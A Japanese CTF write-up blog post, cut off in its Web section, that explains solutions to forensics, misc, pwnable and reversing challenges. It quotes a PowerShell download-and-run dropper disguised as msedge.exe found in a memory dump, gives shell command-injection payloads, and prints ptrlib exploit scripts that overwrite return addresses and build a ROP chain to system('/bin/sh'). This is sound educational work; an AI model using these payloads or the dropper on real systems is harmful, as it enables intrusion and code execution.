調べると BMC-tools なるものがヒットするので、それを使うと650枚のbmpファイルが復元できる。あとは画像を貼って並べたり、PowerPointでジグソーパズルをしたり、bmc-toolsの -b オプションで画像を復元したりすることでフラグが得られる。
codebreaker (Beginner, 140pt, 268solves)
真ん中に×と書かれているQRコードがあり、そのままでは読み込めない。
切り出しシンボルだけを手作業で白に塗ってからデンソー公式のQRコードリーダーで読むと通る。
I_wanna_be_a_streamer (Easy, 169pt, 144solves)
pcapファイルが渡される。
パケットを読むとRTPで通信しているらしく、H.264でエンコードされた動画が配信されていたらしい。
パケットを適切にフィルタリングして h264extractor で復元すると通りそうだが、フィルタのかけ方が悪いのかなぜかvalidな動画ファイルが出力されない。
ここで困って投げだしていたが、チームメイトが解いてくれた。↑の方法でそのまま復元できたらしい。環境の差か、日頃の行いの差か・・・
tiny_10px (Normal, 182pt, 118solves)
10x10pxの画像ファイルが与えられる。ファイルサイズが45KBあるので明らかに何かがおかしい。
こういうのは隠しファイルがあるか画像サイズがおかしいかなはずなので、一旦 binwalk で隠しファイルを調べるも、特になさそう。
画像サイズをリサイズするツールを調べると modsize が出てくるので、これをPython3用に適宜書き換えて動かしてみると、画像を適当に拡大した際に謎の文字が見える。
画像幅がおかしそうなのでwidthを調整して python3 modsize.py --width=160 --height=400 ../chal_tiny_10px.jpg out.jpg を実行すると正しい画像が復元できた。
mem_search (Hard, 185pt, 112solves)
数GBのメモリダンプが渡される。
とりあえず strings にかけると、chal_mem_search.exe が動いているっぽいことが分かる。気になる部分は下で、どうやら msedge.exe を偽装しているらしい。
$u='http://192.168.0.16:8282/b64_decode_rkxbr3teyxl1bv90aglzx2lzx3nly3jldf9mawxlfq%3d%3d/chall_mem_search.exe';$t='wanitemp';mkdir -force $env:tmp\..\$t;try{iwr $u -outfile $d\msedge.exe;& $d\msedge.exe;}catch{}
メモリダンプの解析ツールに volatility3 というのが存在するらしく、使ってみる。
とりあえず pstree を調べると、以下のようなプロセスが出てくる。
msedge.exe 自体はこれ以外にもいくつか呼ばれているが、これは powershell.exe の子プロセスとして呼ばれていたりと異質。
*** 2704 3576 powershell.exe 0xcd88ce279080 0 - 1 False 2024-05-11 09:33:52.000000 2024-05-11 09:33:56.000000 \Device\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - - **** 7844 2704 msedge.exe 0xcd88cd7ac080 0 - 1 True 2024-05-11 09:33:55.000000 2024-05-11 09:33:57.000000 \Device\HarddiskVolume3\msedge.exe - -
次に filescan で調べると、該当の exe ファイルに対応するメモリアドレスが特定できた。
0xcd88cebd4af0 \msedge.exe 216 0xcd88cebd4e10 \msedge.exe 216
これを vol -f chal_mem_search.DUMP windows.dumpfiles --virtaddr 0xcd88cebd4e10 のようにしてdumpすると .exe.dat や .exe.img ファイルが得られる。
Windows用の実行ファイルのようなので実行すると下のようなメッセージダイアログが出て、これをdecodeすると FLAG{H...} が得られる。
このFLAGを提出するが、通らない。問題ページに以下の文面があり、これが理由らしい。
※ 注意: ファイル内にFLAGが2つあります。FLAG{Hで始まるFLAGは今回の答えではありません。FLAG{Dで始まるFLAGを提出してください。
このバイナリをGhidraで見たりもしたがそれっぽい記述は見当たらない。偽フラグにまんまと引っかかって楽しくなくなってしまったこともあり、ここで撤退。
このまま放置していたら、後からチームメイトが通してくれた。
どうやって通したのかはよく知らないが、strings -n 20 ../chal_mem_search.DUMP | grep -5 B64_decode を眺めると違うものがあったらしい。
Misc
2/6 を解いて、Cheat Codeはチームメイトが解いてくれた。問題内容と解法は理解しているつもりなのでwriteupは3問分書いた。
JQ Playground (Easy, 199pt, 92solves)
main.py
from flask import * import subprocess app = Flask(__name__) @app.route("/") def get(): return render_template("index.tmpl") @app.route("/", methods=["POST"]) def post(): print(request.form) filter = request.form["filter"] print("[i] filter :", filter) if len(filter) >= 9: return render_template("index.tmpl", error="Filter is too long") if ";" in filter or "|" in filter or "&" in filter: return render_template("index.tmpl", error="Filter contains invalid character") command = "jq '{}' test.json".format(filter) ret = subprocess.run( command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding="utf-8", ) return render_template("index.tmpl", contents=ret.stdout, error=ret.stderr) if __name__ == "__main__": app.run(host="0.0.0.0", port=8000, debug=True)
jq '{user_input}' test.json を実行できる。フラグは /flag にある。
とりあえずシングルクォートで囲んで ' $(cat /flag) ' のようにすれば出力ができるが、文字数制限があるため難しい。
/flag が5文字使うことが悪く、これはシェルの展開を利用して /* で代替できる。
これだけだと FLAG{...} がjsonとしてvalidでないためparse errorとなってしまうが、jq には -R オプションがあり、これを使うとファイルの中身を文字列として解釈してくれる。
あとはシングルクォートで囲んで消せる空白を適宜縮めればよい。最終的なペイロードは ' -R /*' になった。
sh (Normal, 248pt, 52solves)
game.sh
#!/usr/bin/env sh set -euo pipefail printf "Can you guess the number? > " read i if printf $i | grep -e [^0-9]; then printf "bye hacker!" exit 1 fi r=$(head -c512 /dev/urandom | tr -dc 0-9) if [[ $r == $i ]]; then printf "How did you know?!" cat flag.txt else printf "Nope. It was $r." fi
ユーザー入力を後から生成される乱数と一致させることでフラグが得られる。
常識的に考えてそんなことは不可能なので、変数展開を用いて $r == $i をバイパスしたい。
シェルで展開された変数はダブルクォートで囲まないとそのまま解釈されるらしいので、これを使って || 1 のように入力を与えることで一致判定を突破できる。
あとは printf $i | grep -e [^0-9] による判定だが、printf の第一引数に適当なフォーマット指定子を渡してあげることでこれもバイパスできる。
最終的なペイロードは %d%d%d || 1 となった。
Cheat Code (Easy, 264pt, 44solves)
server.py
from hashlib import sha256 import os from secrets import randbelow from secret import flag, cheat_code import re challenge_times = 100 hash_strength = int(os.environ.get("HASH_STRENGTH", 10000)) def super_strong_hash(s: str) -> bytes: sb = s.encode() for _ in range(hash_strength): sb = sha256(sb).digest() return sb cheat_code_hash = super_strong_hash(cheat_code) print(f"hash of cheat code: {cheat_code_hash.hex()}") print("If you know the cheat code, you will always be accepted!") secret_number = randbelow(10**10) secret_code = f"{secret_number:010d}" print(f"Find the secret code of 10 digits in {challenge_times} challenges!") def check_code(given_secret_code, given_cheat_code): def check_cheat_code(given_cheat_code): return super_strong_hash(given_cheat_code) == cheat_code_hash digit_is_correct = [] for i in range(10): digit_is_correct.append(given_secret_code[i] == secret_code[i] or check_cheat_code(given_cheat_code)) return all(digit_is_correct) given_cheat_code = input("Enter the cheat code: ") if len(given_cheat_code) > 50: print("Too long!") exit(1) for i in range(challenge_times): print(f"=====Challenge {i+1:03d}=====") given_secret_code = input("Enter the secret code: ") if not re.match(r"^\d{10}$", given_secret_code): print("Wrong format!") exit(1) if check_code(given_secret_code, given_cheat_code): print("Correct!") print(flag) exit(0) else: print("Wrong!") print("Game over!")
secret_code をどうにかしてリークする問題。
ソースコード中の digit_is_correct.append(given_secret_code[i] == secret_code[i] or check_cheat_code(given_cheat_code)) という部分を見ると、given_secret_code[i] == secret_code[i] の時だけ check_cheat_code が走ることが分かるが、check_cheat_code 内ではハッシュを大量に計算しているので、実行時間の差を測ることでタイミング攻撃が行える。
ちょっと読んで解けずに唸っていたらチームメイトが解いてくれた。
Pwnable
全部解いた。
nc (Beginner, 116pt, 733solves)
書いてあるコマンド通りに接続した後に簡単な問題を解くと通る。
do_not_rewrite (Easy,173pt, 136solves)
main.c
#include <stdio.h> #include <stdlib.h> #include <string.h> typedef struct { double calories_per_gram; double amount_in_grams; char name[50]; } Ingredient; void init(){ setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); alarm(180); } void show_flag(){ printf("\nExcellent!\n"); system("cat FLAG"); } double calculate_total_calories(Ingredient ingredients[], int num_ingredients) { double total_calories = 0.0; for (int i = 0; i < num_ingredients; i++) { total_calories += ingredients[i].calories_per_gram * ingredients[i].amount_in_grams; } return total_calories; } int main() { init(); Ingredient ingredients[3]; printf("hint: show_flag = %p\n", (void *)show_flag); for (int i = 0; i <= 3; i++) { printf("\nEnter the name of ingredient %d: ", i + 1); scanf("%s", ingredients[i].name); printf("Enter the calories per gram for %s: ", ingredients[i].name); scanf("%lf", &ingredients[i].calories_per_gram); printf("Enter the amount in grams for %s: ", ingredients[i].name); scanf("%lf", &ingredients[i].amount_in_grams); } double total_calories = calculate_total_calories(ingredients, 3); printf("\nTotal calories for the meal: %.2f kcal\n", total_calories); return 0; }
アドレスが既知の show_flag 関数を呼びたい。Full RELRO, stack canaryあり。
本来 i < 3 となっている部分が i <= 3 となっているので、配列の外にアクセスできる。
配列外参照で書き込むことができる ingredients[3] に該当する領域にはstack canaryやreturn addressが存在する。
stack canaryには %lf での入力先アドレスが対応しており一見canaryが破壊されてしまうように見えるが、scanf にinvalidな入力を与えるとアドレスへの書き込みはされないため、stack canaryを無視してreturn addressの書き換えが行える。
あとはreturn addressを既知の show_flag 関数につければ終了。
system を呼ぶ際にstackのアラインメントが16の倍数ではないと落ちるため、objdumpで見つけてきた ret 命令のアドレスに一度飛ばすことにし、stackのアラインメントを調整している。
solve.py
from ptrlib import * path = os.path.join(os.path.dirname(__file__), './chall') LOCAL = False if LOCAL: p = Process(path) else: p = Socket('chal-lz56g6.wanictf.org', 9004) e = ELF(path) r = int(p.recvlineafter('show_flag = ').decode(), 16) print(hex(r)) p.sendlineafter('ingredient 1: ', 'hoge') p.sendlineafter('for hoge: ', 1) p.sendlineafter('for hoge: ', 1) p.sendlineafter('ingredient 2: ', 'hoge') p.sendlineafter('for hoge: ', 1) p.sendlineafter('for hoge: ', 1) p.sendlineafter('ingredient 3: ', 'hoge') p.sendlineafter('for hoge: ', 1) p.sendlineafter('for hoge: ', 1) p.sendlineafter('ingredient 4: ', p64(r + 0x1287 - 0x125f) + p64(r)) p.interactive()
do_not_rewrite2 (Normal,183pt, 116solves)
show_flag 関数が消え、代わりにlibcのアドレスが渡されるようになった。ソースコードは省略。
stackの書き換え自体は前回と同様に行えるので、ROPで system("/bin/sh") を呼べば通る。
solve.py（書き換え部分）
r = int(p.recvlineafter('printf = ').decode(), 16) libc.base = r - libc.symbol('printf') ... # ここで入力などの処理 system = libc.symbol('system') pop_rdi = next(libc.gadget('pop rdi; ret')) sh = next(libc.find('/bin/sh')) ret = next(libc.gadget('ret')) p.sendlineafter('ingredient 4: ', p64(pop_rdi) + p64(sh) + p64(ret) + p64(system)) p.interactive()
Reversing
全完。home,threadはチームメイトが解いてくれた（自分は読んですらいない）のでwriteupなし。
lambda (Easy, 128pt, 402solves)
lambda.py
(lambda _0: _0(input))(lambda _1: (lambda _2: _2('Enter the flag: '))(lambda _3: (lambda _4: _4(_1(_3)))(lambda _5: (lambda _6: _6(''.join))(lambda _7: (lambda _8: _8(lambda _9: _7((chr(ord(c) + 12) for c in _9))))(lambda _10: (lambda _11: _11(''.join))(lambda _12: (lambda _13: _13((chr(ord(c) - 3) for c in _10(_5))))(lambda _14: (lambda _15: _15(_12(_14)))(lambda _16: (lambda _17: _17(''.join))(lambda _18: (lambda _19: _19(lambda _20: _18((chr(123 ^ ord(c)) for c in _20))))(lambda _21: (lambda _22: _22(''.join))(lambda _23: (lambda _24: _24((_21(c) for c in _16)))(lambda _25: (lambda _26: _26(_23(_25)))(lambda _27: (lambda _28: _28('16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r'))(lambda _29: (lambda _30: _30(''.join))(lambda _31: (lambda _32: _32((chr(int(c,36) + 10) for c in _29.split('_'))))(lambda _33: (lambda _34: _34(_31(_33)))(lambda _35: (lambda _36: _36(lambda _37: lambda _38: print(_37, _38)_37 == _38))(lambda _39: (lambda _40: _40(print))(lambda _41: (lambda _42: _42(_39))(lambda _43: (lambda _44: _44(_27))(lambda _45: (lambda _46: _46(_43(_45)))(lambda _47: (lambda _48: _48(_35))(lambda _49: (lambda _50: _50(_47(_49)))(lambda _51: (lambda _52: _52('Correct FLAG!'))(lambda _53: (lambda _54: _54('Incorrect'))(lambda _55: (lambda _56: _56(_41(_53 if _51 else _55)))(lambda _57: lambda _58: _58)))))))))))))))))))))))))))
ラムダ式で難読化されたPythonコード。GPT-4oに丸投げすると以下のコードが得られて、そのまま実行すると解ける。
def main(): def reverse_transform_flag(transformed_flag): # Step 1: XOR each character with 123 step1 = ''.join(chr(123 ^ ord(c)) for c in transformed_flag) # Step 2: Shift characters by +3 positions in the ASCII table step2 = ''.join(chr(ord(c) + 3) for c in step1) # Step 3: Shift characters by -12 positions in the ASCII table original_flag = ''.join(chr(ord(c) - 12) for c in step2) return original_flag # Example usage: correct_transformed_value = '16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r' correct_flag = ''.join(chr(int(c, 36) + 10) for c in correct_transformed_value.split('_')) # Reversing the transformation to get the original flag original_flag = reverse_transform_flag(correct_flag) print("Original flag:", original_flag) if __name__ == "__main__": main()
gates (Normal, 218pt, 73solves)
バイナリが与えられるオーソドックスなReversing問。
とりあえずGhidraで読んで気合でコードを解読すると、以下のような処理になっていることが分かる。
struct State{ int typ; int idx1; int idx2; bool flag; unsigned char value; }; struct State states[256]; // global領域にあり、謎の値で初期化されている unsigned char correct[256]; // これも初期化済 void func(){ for(int i = 0; i < 256; ++i){ int typ = states[i].typ; int idx1 = states[i].idx1; int idx2 = states[i].idx2; if (states[idx1].flag && states[idx2].flag) { x = states[idx1].value; y = states[idx2].value; if(typ == 3){ states[i].flag = true; states[i].value = x ^ y; } if(typ == 1 || typ == 2){ states[i].flag = true; states[i].value = x + y; } if(typ == 4){ states[i].flag = true; states[i].value = y; } } } } bool solve(){ for(int i = 0; i < 32; ++i){ char chr = getc(stdin); states[i].flag = 1 states[i].value = chr; } for(int i = 0; i < 256; ++i){ func(); } bool correct = true; for(int i = 256 - 32; i < 256; ++i){ correct &= (correct[i] != state[i].value); } return correct; }
func() の中では states[i].typ != 0 であるような各 states[i] に対し、 states[states[i].idx1] と states[states[i].idx2] の flag と value の値を参照しながら states[i].flag と states[i].value を更新している。typ, idx1, idx2 は既に初期化されており、操作によって更新されることはない。
solve() がtrueを返すような入力がフラグなはずなのでこれを求めたいが、func が256回も呼び出される上、その中でさらに256回の状態変更が行われているため、各段階での内部状態の数は 105 を超え、z3による単純な求解はなんとなく難しそう。
ここで、内部状態がどうなっているかを確認すると、max(states[i].idx1, states[i].idx2) < i が成り立っていること、つまり依存関係がDAGになっていることが分かる。
また、一度実際に動かして256回目の操作終了後の flag を確認すると、flag が全てtrueになっていることも分かる。つまり、最後の操作では flag の値は無視して良い。
したがって、最初の255回の操作は最終的な状態に影響を及ぼさず、最後の操作だけを i の昇順にシミュレートすればよい。
ここまで分かれば簡単で、256個ある value を8bit整数としてz3のBitVecで管理し、SMTで定式化してソルバに投げればフラグが求まる。
solve.py
dat = b'\x00\x00...' correct = b'\x3b\x09\xe5\xae\x3e\xf1\x37\x81\xfc\xa1\x99\xae\xf7\x62\x7d\xf7\xd0\xcb\xa2\x18\xcd\x3e\x89\x0d\xd9\xdd\x62\x29\x8c\xf3\x01\xec' from Crypto.Util.number import long_to_bytes, bytes_to_long class State: def __init__(self, b) -> None: self.typ = b[0] self.idx1 = b[4] self.idx2 = b[8] self.flag = b[12] self.value = b[13] for i in range(len(dat)): if dat[i] and i % 16 == 0: mod = i % 16 assert mod == 0 or mod == 4 or mod == 8 or mod == 12 or mod == 13 states = [] for i in range(256): states.append(State(dat[i*16:(i+1)*16])) # DAGになっていることを確認 for i, state in enumerate(states): if state.typ != 0: print(i, state.typ, state.idx1, state.idx2, states[state.idx1].typ, states[state.idx2].typ) from z3 import * expr = [] for i in range(32): states[i].flag = 1 # flagの伝播確認（最終的には全て1になる） for j in range(256): for i in range(256): state = states[i] typ = state.typ idx1 = state.idx1 idx2 = state.idx2 if state.typ != 0 and states[idx1].flag and states[idx2].flag: state.flag = 1 for i in range(256): print(i, states[i].flag) res = [] for i in range(256): state = states[i] typ = state.typ idx1 = state.idx1 idx2 = state.idx2 if i < 32: state.value = BitVec(f'value_{i}', 8) res.append(state.value) state.flag = 1 elif state.typ != 0: state.value = None if state.typ != 0 and states[idx1].flag and states[idx2].flag: x = states[idx1].value y = states[idx2].value state.flag = 1 state.value = BitVec(f'value_{i}', 8) if typ == 3: expr.append(state.value == x ^ y) if typ == 1 or typ == 2: expr.append(state.value == x + y) if typ == 4: expr.append(state.value == y) for i in range(32): expr.append(states[256 - 32 + i].value == correct[i]) s = Solver() s.add(expr) assert s.check() == sat m = s.model() for r in res: print(chr(m[r].as_long()), end='')
promise (Very Hard, 373pt, 15solves)
JavaScriptのプログラムとそれを呼ぶだけのHTMLが与えられる。JSのコードはこんな感じ（一部抜粋）。
(async()=>{await new Promise((VXzWAkPODJDoQpyz=>{let yJpYftBCPjwGmzAd=0;HEdWLgBlYWhTxmBQ=new Promise((WNRMgnBCfwgabWRJ=>{eQXZhHVpfElEktxA=WNRMgnBCfwgabWRJ;yJpYftBCPjwGmzAd++;if(yJpYftBCPjwGmzAd===25e3)VXzWAkPODJDoQpyz()}));PntfpUqIwjyxYedb=new Promise((NlJLhaGEQckfNYzV=>{NoGimTaIHjCkdZCg=NlJLhaGEQckfNYzV;yJpYftBCPjwGmzAd++;if(yJpYftBCPjwGmzAd===25e3)VXzWAkPODJDoQpyz()}));dUSYjPzLVKcCIPkY=new Promise((CjQKbqfrXQshKzPY=>{yEETSHPVYbGjZBJZ=CjQKbqfrXQshKzPY;yJpYftBCPjwGmzAd++;if(yJpYftBCPjwGmzAd===25e3)VXzWAkPODJDoQpyz()}));rKeXgPFlZdvFESNH=new Promise((uMuwGTbjpMJpSHXZ=>{lyuVqKkBvZkOChvx=uMuwGTbjpMJpSHXZ;yJpYftBCPjwGmzAd++;if(yJpYftBCPjwGmzAd===25e3)VXzWAkPODJDoQpyz()}));QbOvkHmanZrYGrGZ=new Promise... (async()=>ngfZgiaaaESLGgqB(await ijQEFdNmDLcENEoL<await iwGjXXOakkkdQKqQ?await ijQEFdNmDLcENEoL:await iwGjXXOakkkdQKqQ))();(async()=>MJaeiUwATiwGtgma(await JkGkHylFLUgIvILf<await rLLITMdjAgMxFDwp?await JkGkHylFLUgIvILf:await rLLITMdjAgMxFDwp))();(async()=>dEJqEDXPCXwUhVzs(await etcOhKJDtzxhZlIq<await rOUIUpUHHytTLvcr?await etcOhKJDtzxhZlIq:await rOUIUpUHHytTLvcr))();(async()=>CppYJWvEtBsryWhe(await vMCwNkvqiJmXhnvM<await DMYQXYCdGiNbxHuV?await vMCwNkvqiJmXhnvM:await DMYQXYCdGiNbxHuV))();(async()=>VzSmImbZFwIZtYOu(await aZnjyQOyrpUuyOWU<await mPxvgaFAMbcQrJAq?await aZnjyQOyrpUuyOWU:await mPxvgaFAMbcQrJAq))();(async()=>BMrSIwmIKJWJNeHG(await iqaCagbGWKoJTvmK>>1n))();(async()=>NZYLJYSIdOCBfqjN(await asmIeuoTFhcaSADt<await rftRhqRSLkgrrOpo?await asmIeuoTFhcaSADt:await rftRhqRSLkgrrOpo))();(async()=>IFuUWWdfqLknsuuC(await TVmRIvZwKMOLtDOq&1n))()})();
まず、大量に出てくる同名の変数を書き換えて適宜セミコロンで改行してみる。すると、以下のような2種のパートに処理が分かれていることが分かる。
(async()=>{await new Promise((callback=>{ let counter=0; // パート1: Promise HEdWLgBlYWhTxmBQ=new Promise((WNRMgnBCfwgabWRJ=>{eQXZhHVpfElEktxA=WNRMgnBCfwgabWRJ; counter++; if(counter===25e3)callback()})); PntfpUqIwjyxYedb=new Promise((NlJLhaGEQckfNYzV=>{NoGimTaIHjCkdZCg=NlJLhaGEQckfNYzV; counter++; if(counter===25e3)callback()})); dUSYjPzLVKcCIPkY=new Promise((CjQKbqfrXQshKzPY=>{yEETSHPVYbGjZBJZ=CjQKbqfrXQshKzPY; counter++; if(counter===25e3)callback()})); ... // パート2: async/await (async()=>rDOfBdQJLrFCikbd(await UBUNxdCKPIqxUydC<await ursrWcncFtniitgy?await UBUNxdCKPIqxUydC:await ursrWcncFtniitgy))(); (async()=>OiOoUHBELVhZFRKQ(await peOGDlBrrzmoDCJE&1n))(); (async()=>phEpEumAgcJNkIwE(await VQmwHvznDCylXpoG&1n))(); (async()=>llOKIMMnzUannwXQ(await FrBrMiUrmAlbQnkB<await oRyvRbvMhXXjEKhj?await oRyvRbvMhXXjEKhj:await FrBrMiUrmAlbQnkB))(); (async()=>eSEwwSdWNYWLmypn(await EQsEDTvtOkPsQnJQ&1n))(); (async()=>AvPzoCQYQeIFJulb(await ldTkYnFzdbXZhhJq>>1n))(); (async()=>KEExnmQzRozyJmKQ(await XhbYjuUkDOTBbycn&BigInt(!await aMLVPGBRPgLeiHsM)))(); (async()=>hzRdOvLHIRqQIRee(await fZSIwbArkgVdQjuu))(); ...
実際に実行してみると、入力ボックスが32回表示されたあとに wrong という文字列が出力された。
wrong で検索をかけると、以下のような行がヒットする。
(async()=>{await GRyibuMaolVUVMTH?alert("correct"):alert("wrong")})();
ここから推測すると、おそらく GRyibuMaolVUVMTH が（これ自体が関数なのか変数なのかはよく知らないが）色々な処理を経て何らかの値になっており、それがtrueか1か、とにかくそんな感じの値になってくれるように入力を与えれば良いのだろうと判断できる。
入力ボックスが出ているということはその処理もあるはず。JavaScriptの入力ボックスは prompt() で表示されるようなのでこれも検索をかけてみると、以下のような行がちょうど32個ヒットした。
(async()=>yeFrLpumXRwKksSh(lbarHjWBfcaCFsrw++*173n+BigInt((console.log("yeFrLpumXRwKksSh")||prompt()||"").charCodeAt()||0)))();
lbarHjWBfcaCFsrw は共通の変数で、入力文字数のカウンタとなっているようだ。prompt() で入力を受け取り、文字コードに変換してindexとかけた後に yeFrLpumXRwKksSh のような謎の関数（？）に渡しているらしい。
なんとなくの流れは掴めたので、あとは気合でどうにかする。
まず、パート1の処理は A=new Promise((B=>{C=B;... のような形式となっている。
これはおそらく、Aが呼ばれた際の返り値（なのか変数なのかよく分からないが）がCになる、つまり A=C ということだと思う。
次にパート2の処理。これはいくつか種類があるが、例えば (async()=>A(await C<await B?await D:await E))(); は A=C<B?D:E という処理とほぼ等価だと思って間違いないし、(async()=>A(await B&1n))(); は A=B&1 を表していると思っていいだろう。
パート2の処理をいくつかに分類すると、ごく一部の例外を除いて「代入」「if文」「1とのand」「1回の右シフト」「2変数のand」「2変数のnand」の6種の処理で構成されることが分かった。
例外は「prompt() による入力」「correct/wrongの出力」「定数1のreturn」の3種。入力は32個、出力処理と定数returnはそれぞれ1個しか存在しなかった。
ここまで分かれば処理を分かりやすい形に書き直すことができる。
整形したpromise.jsの各行を気合でパースし、各シンボル（変数？）がどのシンボルの計算結果を必要としており、それらをどう処理しているかをまとめる。
次に、symbol を評価した値を返す関数 rec(symbol) を用意し、rec(symbol) 内では必要に応じて再帰処理を行う。各シンボルの処理結果は毎回の呼び出しで不変なので、高速化のために適宜メモ化しておく。
こうすると、rec(GRyibuMaolVUVMTH) の結果がそのまま元のプログラムの結果と一致するようになる。
この後は rec(GRyibuMaolVUVMTH) が1になってくれるような入力を見つければよい。これは先ほどの rec 処理を流用してSMTの制約式を作るようにすればz3で求められる。
JSのコード内でBigIntを使っていることもあり各変数の値域（BitVecのビット幅）の見積りが難しいが、処理一覧には加算やbitwise orは存在しないので、入力の値のmaxがそのまま全変数の取られうる値のmaxになる。
これを計算すると 173*31+128=5664 になるので、適当に余裕をもって各変数16bitで処理を行うことにした。
適当に解くと複数個の解が出てきてしまい少し困ったが、出力を FLAG{***} の形になるように固定し、各文字がvalidなものになるように制限をかけると数秒で解が求まった。
出力にフラグとしてinvalidな文字が含まれていて困ったが、これは作問側のミスらしい。
solve.py
from z3 import * import re import sys sys.setrecursionlimit(100000000) with open('promise2.js', 'r') as f: # 整形しておいたjsコード content = f.readlines() with open('order.txt', 'r') as f: # 事前に確認しておいた入力順 in_symbols = list(map(lambda x: x.strip(), f.readlines())) pat = re.escape('GRyibuMaolVUVMTH=new Promise((RuokTNmGFoXXInGN=>{IhbVuMQIiBuPygDt=RuokTNmGFoXXInGN;') pat = pat.replace('GRyibuMaolVUVMTH', '(\w+)') pat = pat.replace('RuokTNmGFoXXInGN', '(\w+)') pat = pat.replace('IhbVuMQIiBuPygDt', '(\w+)') ac = re.compile(pat) pat = re.escape('(async()=>VzSmImbZFwIZtYOu(await aZnjyQOyrpUuyOWU<await mPxvgaFAMbcQrJAq?await aZnjyQOyrpUuyOWU:await mPxvgaFAMbcQrJAq))();') pat = pat.replace('VzSmImbZFwIZtYOu', '(\w+)') pat = pat.replace('aZnjyQOyrpUuyOWU', '(\w+)') pat = pat.replace('mPxvgaFAMbcQrJAq', '(\w+)') ac2 = re.compile(pat) pat = re.escape('(async()=>bdVjfxlHqOSWIpIA(await iVBzIvkLvVkZbcFe&1n))();') pat = pat.replace('bdVjfxlHqOSWIpIA', '(\w+)') pat = pat.replace('iVBzIvkLvVkZbcFe', '(\w+)') ac3 = re.compile(pat) pat = re.escape('(async()=>bdVjfxlHqOSWIpIA(await iVBzIvkLvVkZbcFe>>1n))();') pat = pat.replace('bdVjfxlHqOSWIpIA', '(\w+)') pat = pat.replace('iVBzIvkLvVkZbcFe', '(\w+)') ac4 = re.compile(pat) pat = re.escape('(async()=>ippPSePRdqboGHAa(await HEKiVABNCCUiZVim&BigInt(!await wCVZbExSLxIKtvLK)))();') pat = pat.replace('ippPSePRdqboGHAa', '(\w+)') pat = pat.replace('HEKiVABNCCUiZVim', '(\w+)') pat = pat.replace('wCVZbExSLxIKtvLK', '(\w+)') ac5 = re.compile(pat) pat = re.escape('(async()=>URhIdrIdvxybRSmp(await BdFpXYwbMNQKHApd))();') pat = pat.replace('URhIdrIdvxybRSmp', '(\w+)') pat = pat.replace('BdFpXYwbMNQKHApd', '(\w+)') ac6 = re.compile(pat) pat = re.escape('(async()=>ajGMXMEenAhlzdtb(await zhPQJfVORDbwozhU&BigInt(await TDeggLCAtGoIzldR)))();') pat = pat.replace('ajGMXMEenAhlzdtb', '(\w+)') pat = pat.replace('zhPQJfVORDbwozhU', '(\w+)') pat = pat.replace('TDeggLCAtGoIzldR', '(\w+)') ac7 = re.compile(pat) ty1_dict = {} if_dict = {} and_dict = {} rshift_dict = {} and2_dict = {} nand2_dict = {} eq_dict = {} const_1 = 'zjZPUvMwnxVomTwi' for i, l in enumerate(content): if ac.match(l): var = l[:16] unused = l[30:46] src = l[49:65] ty1_dict[var] = src assert var != src elif ac2.match(l): var = l[10:26] left = l[33:49] right = l[56:72] true = l[79:95] false = l[102:118] assert var != left assert var != right assert var != true assert var != false if_dict[var] = (left, right, true, false) elif ac3.match(l): var = l[10:26] src = l[33:49] assert var != src and_dict[var] = src elif ac4.match(l): var = l[10:26] src = l[33:49] assert var != src rshift_dict[var] = src elif ac5.match(l): var = l[10:26] op1 = l[33:49] op2 = l[64:80] assert var != op1 assert var != op2 nand2_dict[var] = (op1, op2) elif ac6.match(l): var = l[10:26] src = l[33:49] assert var != src eq_dict[var] = src elif ac7.match(l): var = l[10:26] op1 = l[33:49] op2 = l[63:79] assert var != op1 assert var != op2 and2_dict[var] = (op1, op2) # elif i >= 75000: # print(l) entry = 'GRyibuMaolVUVMTH' symbols = {} exprs = [] M = 16 bv1 = BitVec('bv1', M) bv0 = BitVec('bv0', M) exprs.append(bv1 == 1) exprs.append(bv0 == 0) res = [None for i in range(32)] def rec(key): if key in symbols: return symbols[key] elif key in in_symbols: idx = in_symbols.index(key) ch = BitVec(f'chr_{idx}', M) res[idx] = ch exprs.append(ch < 128) exprs.append(0x20 <= ch) symbols[key] = BitVec(key, M) exprs.append(symbols[key] == 173 * idx + ch) elif key in ty1_dict: src = ty1_dict[key] symbols[key] = rec(src) elif key in if_dict: l, r, true, false = if_dict[key] symbols[key] = BitVec(key, M) exprs.append(symbols[key] == If(rec(l) < rec(r), rec(true), rec(false))) elif key in and_dict: src = and_dict[key] symbols[key] = BitVec(key, M) exprs.append(symbols[key] == rec(src) & 1) elif key in rshift_dict: src = rshift_dict[key] symbols[key] = BitVec(key, M) exprs.append(symbols[key] == rec(src) >> 1) elif key in and2_dict: op1, op2 = and2_dict[key] symbols[key] = BitVec(key, M) exprs.append(symbols[key] == rec(op1) & rec(op2)) elif key in nand2_dict: op1, op2 = nand2_dict[key] symbols[key] = BitVec(key, M) exprs.append(symbols[key] == rec(op1) & If(rec(op2) == 0, bv1, bv0)) elif key in eq_dict: src = eq_dict[key] symbols[key] = rec(src) elif key == const_1: symbols[key] = bv1 else: print('undefined:', key) return symbols[key] rec(entry) exprs.append(symbols[entry] == 1) exprs.append(res[0] == ord('F')) exprs.append(res[1] == ord('L')) exprs.append(res[2] == ord('A')) exprs.append(res[3] == ord('G')) exprs.append(res[4] == ord('{')) exprs.append(res[-1] == ord('}')) s = Solver() s.add(exprs) print(s.check()) m = s.model() for c in res: print(chr(m[c].as_long()), end='') print()
Web
4/6を解いた。自力で解いたのは3問で、Noscriptは詰まったところをDiscordに書いたらチームメイトが解いてくれた。
Bad_Worker (Beginner, 120pt, 569solves)
ソースコードが無いWeb問。よく分からなかったが、デベロッパーツールでSourcesやNetworkを眺めているとどうやらリクエストの中身が途中で変わっているっぽい（？よく覚えてない）ことに気づいたので curl で投げると通った。
pow (Easy, 143pt, 250solves)
これもソースコードなし。動作画面はこんな感じ。
とりあえずソースを見てみると、以下のような関数が動いていることが分かった。
